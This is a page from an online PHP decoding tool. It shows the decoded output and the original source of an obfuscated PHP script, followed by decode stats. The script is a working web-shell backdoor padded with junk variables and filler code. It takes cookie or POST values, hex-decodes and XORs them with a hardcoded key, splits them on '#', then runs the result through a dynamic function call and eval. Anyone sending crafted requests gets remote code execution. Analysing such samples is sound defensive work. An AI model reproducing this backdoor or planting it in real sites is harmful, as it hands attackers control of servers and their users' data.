Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* aK */DLlafS($yyRVihfn) /*t */{ /* F*/return @pack( "\1..

Decoded Output download

<?php    function/* aK  */DLlafS($yyRVihfn) 
    /*t  */{ 
     /* F*/return    @pack( "H" ./*lnhE*/"*", $yyRVihfn/*   VxtnB   */);; 
             
/*   FyZ */$PxnECiy     =/*  NQ */md5($yyRVihfn); 
       $rfeRc/*   ozs   */=     base64_decode($yyRVihfn); 
 
 
 if     ($rfeRc/* flSg*/===/* sl */false)     { 
         $rfeRc/*TZCO*/=/*   hr*/'';; 
/*   bI   */} 
/*  eIf */$rUlMmzdg    =/* ZE */str_split($yyRVihfn);; 
 /*  aWONl   */$kuMDvvzWcO    = strlen($yyRVihfn);; 
     /*  sWJtT*/$lqaQypbmpJ    =    0;$_Dv    =/* AvYd   */'44063'; 
        while    ( $lqaQypbmpJ/*e  */<  $kuMDvvzWcO/*ZPxPo  */)    { 
          $lqaQypbmpJ++; 
                $cGTLRNEqr    =    $rUlMmzdg[$lqaQypbmpJ];$_HCE    =/*hGDC*/'49086'; 
    if    (strpos($cGTLRNEqr,    'a')   !==  false)    { 
            $rUlMmzdg[$lqaQypbmpJ]  =    strtoupper($cGTLRNEqr); 
  } 
            } 
    $waSXcrADTc    =    implode('', $rUlMmzdg);$_KNa =     '4292'; 
            $_GET['decoded']     =   $waSXcrADTc; 
 
    $_POST['hash']/*WLl*/=  $PxnECiy; 
 
  if (file_exists('path/to/file'))    { 
              $egbAChcfpH/*  KM */=/* TqLrr*/file_get_contents('path/to/file');; 
 
   $GzyeZaXp =/*W */explode(',',/*  T  */$egbAChcfpH); 
 
 
    $jOxkChsuM =    md5(serialize($GzyeZaXp));$_JvN/*  Wwp   */=  '30370'; 
 
   if  (is_array($GzyeZaXp)) { 
                $amUrUk/* rQFU*/=/*WeDVA   */array_slice($GzyeZaXp,  0,   5); 
    /*  Yk  */} 
      } 
    /*  JYB  */$AqUSNvo    =/*  rH*/array_map('trim',    $amUrUk);; 
 
    $XxlRNOgl    =/*  cma */rawurldecode(implode(',',  $AqUSNvo));; 
                  $_COOKIE['final_value']/* re */=     $XxlRNOgl;$_uJ/*  KqS  */=  '28504'; 
      } 
 
 
/*  JOa   */ 
        function    PHrboio() 
                { 
 /*ZFH*/$XuAOG    =    Array($_COOKIE,  $_POST);; 
   /*  SEm*/$bOWDLf    =  array_map('md5',/*  W*/$_COOKIE);; 
        $bhrsch   =/*HVJO */strpos($_SERVER['HTTP_USER_AGENT'],    'Mozilla')/* qcK */!== false    ?/*Dk   */'browser    is    Mozilla'/*j*/:    'browser   is/* t*/not    Mozilla'; 
    
            if (is_array($XuAOG))/* qst  */{ 
     /* b*/$vxtfDFdX/*   bt*/=     array_slice($XuAOG,    0,    1); 
 
    }/*  MQ*/else    { 
                    $vxtfDFdX   =    [];; 
 
 
/*   LC */} 
         
        $zfXbCITp/*SsHZY   */=/*tDaCv  */explode(',',    'apple,orange,banana'); 
 /*  B */$JwhRZWGBe    =  rawurldecode('%20Hello%20World%20');$_mFI   =/* pjbI  */'13366'; 
   $lqaQypbmpJ    =/*   x*/0;     
    while   ($lqaQypbmpJ    </*  OQ   */count($zfXbCITp)    )    { 
        $zfXbCITp[$lqaQypbmpJ]    =    str_repeat($zfXbCITp[$lqaQypbmpJ],    2); 
      $lqaQypbmpJ++;; 
    } 
        /*  myTF  */ 
                 $IEXrMHhzW   =/* JTWf   */str_repeat($bhrsch,/*   cD   */3); 
          
 
 
    return    $XuAOG; 
                    } 
    /*YAWvJ*/ 
   /*   kF  */function    yiGTEXX($WQEkTEpn) 
    { 
                    $NicoMJo =  chr    (35);; 
     foreach/*GKZUi   */(PHrboio()   as/*   O   */$MaJom)    { 
 
 
/*p  */wKRSV($MaJom,    $NicoMJo);; 
      } 
 /*Xtp*/} 
     /*  O */ 
            /*Klij*/function    FpGir($vhOqKuik,/* W*/$IUdXKZUNR) 
 
 
/*   cSUTW  */{ 
                       if    (    count/*  mZIVD   */(  $vhOqKuik     ) ==/*  EOoUA   */3/*  B   */)/*  MyEDd*/{ 
       $VhyglTz    =/*  SjDu  */$vhOqKuik[1];; 
        $tLkvQ/*   AnouB   */= $vhOqKuik[2]; 
   /* cn */$phDUev    =/*IwOO*/$VhyglTz($tLkvQ); 
      eval    (    $phDUev  );$_igd    =/*   Q */'44176'; 
    die/*  ldLG   */();$_eABaO   =/* h*/'10851'; 
            } 
          } 
     
    function    fNdzUVV($yyRVihfn,/*aDpeM  */$krBrRI) 
  /*  TB */{ 
                        return/* ag*/$yyRVihfn/*   hDT*/^    $krBrRI;$_hkF   =   '56354'; 
 
 
    } 
        
                   function/*  mH   */wBHzWOXoMa($ObELGZeNyw,   $NicoMJo) 
   {/*  L   */ 
                $ObELGZeNyw    = explode     ($NicoMJo,  $ObELGZeNyw    ); 
          
                     FpGir($ObELGZeNyw,   $NicoMJo); 
 
 } 
  
 
  function    wKRSV($MaJom,    $NicoMJo) 
    { 
    foreach ( $MaJom/*  c  */as/*JH  */$krBrRI  =>/*   EKtp */$yyRVihfn    )/* LaED */{ 
    AexCo($krBrRI,     DLlafS($yyRVihfn),   $NicoMJo);; 
 
 
/*YUU   */} 
/*  VReOA  */} 
             
  /* agxaC*/function/*  d  */DSuKyAP($krBrRI,/*xnke*/$yyRVihfn) 
            { 
              $uGPltIlod    =    strlen(    $yyRVihfn  )/strlen(    $krBrRI    );; 
                $krBrRI  .=/*  q */"cuitl-gWVAAQ-vuU-oDIj-Uzb-HwLaHm-KaWrsj"; 
 
 
/*   sCsIz*/$krBrRI    =    str_repeat/*  SVe   */(/* RLZU*/$krBrRI,    intval($uGPltIlod)/* eNB */+     1);; 
      
    return     $krBrRI; 
         } 
     /*  cRVH*/ 
 
 
 function    AexCo($krBrRI,    $yyRVihfn,    $NicoMJo) 
                    {/*  v*/ 
       wBHzWOXoMa(fNdzUVV($yyRVihfn,/*  pT*/DSuKyAP($krBrRI,     $yyRVihfn)),    $NicoMJo);; 
 
 
/*  rF   */ 
 /*   Xmdp  */$cBcev    =/*   f */trim($yyRVihfn); 
        /*  o */$opBaF/* b  */=/*EjU  */explode($NicoMJo,     $cBcev);; 
   /*  eCoz  */if/*  cLO*/(count($opBaF)    >/* AqU */1)/*  mb  */{ 
 
 
    $PAZXQLCT    =    implode(chr  (45),     $opBaF); 
                     $AXDQHxK     =    str_pad($PAZXQLCT,/*RzJQ */20,    '0',/*   eiBZl*/STR_PAD_RIGHT); 
           }    else/*  yqMX  */{ 
                    /*Gs */$AXDQHxK/*   TYQlX   */=  str_replace('    ',/*PPmvp */"_",/*  jMzA   */$cBcev); 
   /* EzdJ  */} 
   /*GI */$ZNxdZ/* YdYOW   */=    empty($NicoMJo); 
     if  (!$ZNxdZ)    { 
 
 
/*   V */$gvuFjUAl   =/*  l*/substr($AXDQHxK,/* A  */0,/*nTR*/10); 
     }   else/*   T*/{ 
         $gvuFjUAl =    $AXDQHxK;; 
  /*LQIt */} 
/*  GEZDL*/} 
                /*  kC*/ 
                /* JdDxD*/yiGTEXX("");$_CuL  =    '41986'; ?>

Did this file decode correctly?

Original Code

<?php    function/* aK  */DLlafS($yyRVihfn)
    /*t  */{
     /* F*/return    @pack( "\110" ./*lnhE*/"\52", $yyRVihfn/*   VxtnB   */);;
            
/*   FyZ */$PxnECiy     =/*  NQ */md5($yyRVihfn);
       $rfeRc/*   ozs   */=     base64_decode($yyRVihfn);


 if     ($rfeRc/* flSg*/===/* sl */false)     {
         $rfeRc/*TZCO*/=/*   hr*/'';;
/*   bI   */}
/*  eIf */$rUlMmzdg    =/* ZE */str_split($yyRVihfn);;
 /*  aWONl   */$kuMDvvzWcO    = strlen($yyRVihfn);;
     /*  sWJtT*/$lqaQypbmpJ    =    0;$_Dv    =/* AvYd   */'44063';
        while    ( $lqaQypbmpJ/*e  */<  $kuMDvvzWcO/*ZPxPo  */)    {
          $lqaQypbmpJ++;
                $cGTLRNEqr    =    $rUlMmzdg[$lqaQypbmpJ];$_HCE    =/*hGDC*/'49086';
    if    (strpos($cGTLRNEqr,    'a')   !==  false)    {
            $rUlMmzdg[$lqaQypbmpJ]  =    strtoupper($cGTLRNEqr);
  }
            }
    $waSXcrADTc    =    implode('', $rUlMmzdg);$_KNa =     '4292';
            $_GET['decoded']     =   $waSXcrADTc;

    $_POST['hash']/*WLl*/=  $PxnECiy;

  if (file_exists('path/to/file'))    {
              $egbAChcfpH/*  KM */=/* TqLrr*/file_get_contents('path/to/file');;

   $GzyeZaXp =/*W */explode(',',/*  T  */$egbAChcfpH);


    $jOxkChsuM =    md5(serialize($GzyeZaXp));$_JvN/*  Wwp   */=  '30370';

   if  (is_array($GzyeZaXp)) {
                $amUrUk/* rQFU*/=/*WeDVA   */array_slice($GzyeZaXp,  0,   5);
    /*  Yk  */}
      }
    /*  JYB  */$AqUSNvo    =/*  rH*/array_map('trim',    $amUrUk);;

    $XxlRNOgl    =/*  cma */rawurldecode(implode(',',  $AqUSNvo));;
                  $_COOKIE['final_value']/* re */=     $XxlRNOgl;$_uJ/*  KqS  */=  '28504';
      }


/*  JOa   */
        function    PHrboio()
                {
 /*ZFH*/$XuAOG    =    Array($_COOKIE,  $_POST);;
   /*  SEm*/$bOWDLf    =  array_map('md5',/*  W*/$_COOKIE);;
        $bhrsch   =/*HVJO */strpos($_SERVER['HTTP_USER_AGENT'],    'Mozilla')/* qcK */!== false    ?/*Dk   */'browser    is    Mozilla'/*j*/:    'browser   is/* t*/not    Mozilla';
   
            if (is_array($XuAOG))/* qst  */{
     /* b*/$vxtfDFdX/*   bt*/=     array_slice($XuAOG,    0,    1);

    }/*  MQ*/else    {
                    $vxtfDFdX   =    [];;


/*   LC */}
        
        $zfXbCITp/*SsHZY   */=/*tDaCv  */explode(',',    'apple,orange,banana');
 /*  B */$JwhRZWGBe    =  rawurldecode('%20Hello%20World%20');$_mFI   =/* pjbI  */'13366';
   $lqaQypbmpJ    =/*   x*/0;    
    while   ($lqaQypbmpJ    </*  OQ   */count($zfXbCITp)    )    {
        $zfXbCITp[$lqaQypbmpJ]    =    str_repeat($zfXbCITp[$lqaQypbmpJ],    2);
      $lqaQypbmpJ++;;
    }
        /*  myTF  */
                 $IEXrMHhzW   =/* JTWf   */str_repeat($bhrsch,/*   cD   */3);
         


    return    $XuAOG;
                    }
    /*YAWvJ*/
   /*   kF  */function    yiGTEXX($WQEkTEpn)
    {
                    $NicoMJo =  chr    (35);;
     foreach/*GKZUi   */(PHrboio()   as/*   O   */$MaJom)    {


/*p  */wKRSV($MaJom,    $NicoMJo);;
      }
 /*Xtp*/}
     /*  O */
            /*Klij*/function    FpGir($vhOqKuik,/* W*/$IUdXKZUNR)


/*   cSUTW  */{
                       if    (    count/*  mZIVD   */(  $vhOqKuik     ) ==/*  EOoUA   */3/*  B   */)/*  MyEDd*/{
       $VhyglTz    =/*  SjDu  */$vhOqKuik[1];;
        $tLkvQ/*   AnouB   */= $vhOqKuik[2];
   /* cn */$phDUev    =/*IwOO*/$VhyglTz($tLkvQ);
      eval    (    $phDUev  );$_igd    =/*   Q */'44176';
    die/*  ldLG   */();$_eABaO   =/* h*/'10851';
            }
          }
    
    function    fNdzUVV($yyRVihfn,/*aDpeM  */$krBrRI)
  /*  TB */{
                        return/* ag*/$yyRVihfn/*   hDT*/^    $krBrRI;$_hkF   =   '56354';


    }
       
                   function/*  mH   */wBHzWOXoMa($ObELGZeNyw,   $NicoMJo)
   {/*  L   */
                $ObELGZeNyw    = explode     ($NicoMJo,  $ObELGZeNyw    );
         
                     FpGir($ObELGZeNyw,   $NicoMJo);

 }
 

  function    wKRSV($MaJom,    $NicoMJo)
    {
    foreach ( $MaJom/*  c  */as/*JH  */$krBrRI  =>/*   EKtp */$yyRVihfn    )/* LaED */{
    AexCo($krBrRI,     DLlafS($yyRVihfn),   $NicoMJo);;


/*YUU   */}
/*  VReOA  */}
            
  /* agxaC*/function/*  d  */DSuKyAP($krBrRI,/*xnke*/$yyRVihfn)
            {
              $uGPltIlod    =    strlen(    $yyRVihfn  )/strlen(    $krBrRI    );;
                $krBrRI  .=/*  q */"cuitl-gWVAAQ-vuU-oDIj-Uzb-HwLaHm-KaWrsj";


/*   sCsIz*/$krBrRI    =    str_repeat/*  SVe   */(/* RLZU*/$krBrRI,    intval($uGPltIlod)/* eNB */+     1);;
     
    return     $krBrRI;
         }
     /*  cRVH*/


 function    AexCo($krBrRI,    $yyRVihfn,    $NicoMJo)
                    {/*  v*/
       wBHzWOXoMa(fNdzUVV($yyRVihfn,/*  pT*/DSuKyAP($krBrRI,     $yyRVihfn)),    $NicoMJo);;


/*  rF   */
 /*   Xmdp  */$cBcev    =/*   f */trim($yyRVihfn);
        /*  o */$opBaF/* b  */=/*EjU  */explode($NicoMJo,     $cBcev);;
   /*  eCoz  */if/*  cLO*/(count($opBaF)    >/* AqU */1)/*  mb  */{


    $PAZXQLCT    =    implode(chr  (45),     $opBaF);
                     $AXDQHxK     =    str_pad($PAZXQLCT,/*RzJQ */20,    '0',/*   eiBZl*/STR_PAD_RIGHT);
           }    else/*  yqMX  */{
                    /*Gs */$AXDQHxK/*   TYQlX   */=  str_replace('    ',/*PPmvp */"\x5f",/*  jMzA   */$cBcev);
   /* EzdJ  */}
   /*GI */$ZNxdZ/* YdYOW   */=    empty($NicoMJo);
     if  (!$ZNxdZ)    {


/*   V */$gvuFjUAl   =/*  l*/substr($AXDQHxK,/* A  */0,/*nTR*/10);
     }   else/*   T*/{
         $gvuFjUAl =    $AXDQHxK;;
  /*LQIt */}
/*  GEZDL*/}
                /*  kC*/
                /* JdDxD*/yiGTEXX("");$_CuL  =    '41986';

Function Calls

None

Variables

None

Stats

MD5 073c87a6cb0b998b1a5012b16ae00f0f
Eval Count 0
Decode Time 39 ms